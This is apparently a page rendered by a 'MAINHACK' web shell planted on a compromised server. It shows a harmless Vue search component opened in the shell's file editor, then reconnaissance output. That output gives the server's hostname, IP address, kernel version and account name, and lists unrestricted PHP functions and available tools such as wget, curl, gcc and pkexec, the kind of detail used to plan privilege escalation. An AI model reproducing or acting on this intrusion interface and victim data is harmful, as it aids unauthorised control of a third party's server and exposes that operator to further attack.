[ MAINHACK ]

HOME

Viewing / Editing File: Search.vue

<template>
  <div class="search-area">
    <div
      class="search-btn"
      :class="[query !== '' ? 'd-none' : 'd-inline-block']"
    >
      <svg
        xmlns="http://www.w3.org/2000/svg"
        class="h-6 w-6"
        fill="none"
        viewBox="0 0 24 24"
        stroke="currentColor"
        stroke-width="2"
      >
        <path
          stroke-linecap="round"
          stroke-linejoin="round"
          d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"
        />
      </svg>
    </div>
    <input
      ref="autoFocusInput"
      type="text"
      :value="query"
      class="search-input form-control"
      :placeholder="$t('common.search')"
      @input="$emit('reset-pagination', $event.target.value)"
    />
    <label
      class="search-btn"
      :class="[query !== '' ? 'd-inline-block' : 'd-none']"
      @click="$emit('reload')"
    >
      <i class="fas fa-times" />
    </label>
  </div>
</template>

<script>
export default {
  name: "Search",
  model: {
    prop: "query",
    event: "reset-pagination",
  },
  mounted() {
    if (this.isPosSearch) {
      this.$nextTick(() => this.$refs.autoFocusInput.focus());
    }
  },
  props: {
    query: {},
    isPosSearch: {
      type: Boolean,
      default: false,
    },
  },
};
</script>

<style>
.search-area input {
  padding: 5px 11px 5px 35px;
  border-radius: 5px;
}

.search-btn {
  position: absolute;
  left: 18px;
  top: 6px;
}
</style>

Server Info

Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)

System Features

Safe Mode: Off
disable_functions: None
allow_url_fopen: On
allow_url_include: Off
magic_quotes_gpc: Off
register_globals: Off
open_basedir: None
cURL: Enabled
ZipArchive: Enabled
MySQLi: Enabled
PDO: Enabled
wget: Yes
curl (cmd): Yes
perl: Yes
python: Yes (py3)
gcc: Yes
pkexec: Yes
git: Yes

User Info

Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002

Casa Cuisine